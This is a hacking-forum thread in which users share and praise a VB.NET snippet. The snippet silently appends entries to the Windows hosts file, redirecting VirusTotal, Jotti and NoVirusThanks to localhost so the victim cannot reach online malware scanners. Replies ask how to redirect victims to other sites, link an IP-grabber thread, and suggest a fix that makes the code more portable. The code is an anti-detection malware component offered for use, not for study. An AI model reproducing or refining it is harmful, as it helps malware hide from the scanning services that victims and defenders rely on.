[1234hotmaster]

Dim path As [String] = "%windir%\system32\drivers\etc\hosts"
Dim sw As New IO.StreamWriter(path, True)

On Error Resume Next
Dim x1 As [String] = vbLf & "127.0.0.1 www.virusscan.jotti.org"
sw.Write(x1)
sw.Flush()

On Error Resume Next
Dim x2 As [String] = vbLf & "127.0.0.1 www.vscan.novirusthanks.org"
sw.Write(x2)
sw.Flush

On Error Resume Next
Dim x3 As [String] = vbLf & "127.0.0.1 www.novirusthanks.org"
sw.Write(x3)
sw.Flush()

On Error Resume Next
Dim x4 As [String] = vbLf & "127.0.0.1 www.virustotal.com"
sw.Write(x4)
sw.Flush()

Spoiler: Credits

Credits go to the programmer which i don't remember.

[Lenalee]

Good Job bro <3

On Error Resume Next
Dim x1 As [String] = vbLf & "127.0.0.1 http://hackcommunity.com"
sw.Write(x1)
sw.Flush()

can i just redirect it to somewhere?

[1234hotmaster]

yep. you just need the site's IP. how to get that? http://hackcommunity.com/Thread-616-s-IP-grabber

The source is included too.

[Coder-san]

You should not hard-code C partition though, use this instead:

%windir%\system32\drivers\etc\hosts

[1234hotmaster]

omg that really works? tnx man! i've always done alot of string replacement to get the main drive!

[Codebreaker]

Thats Cool Dude
Keep it up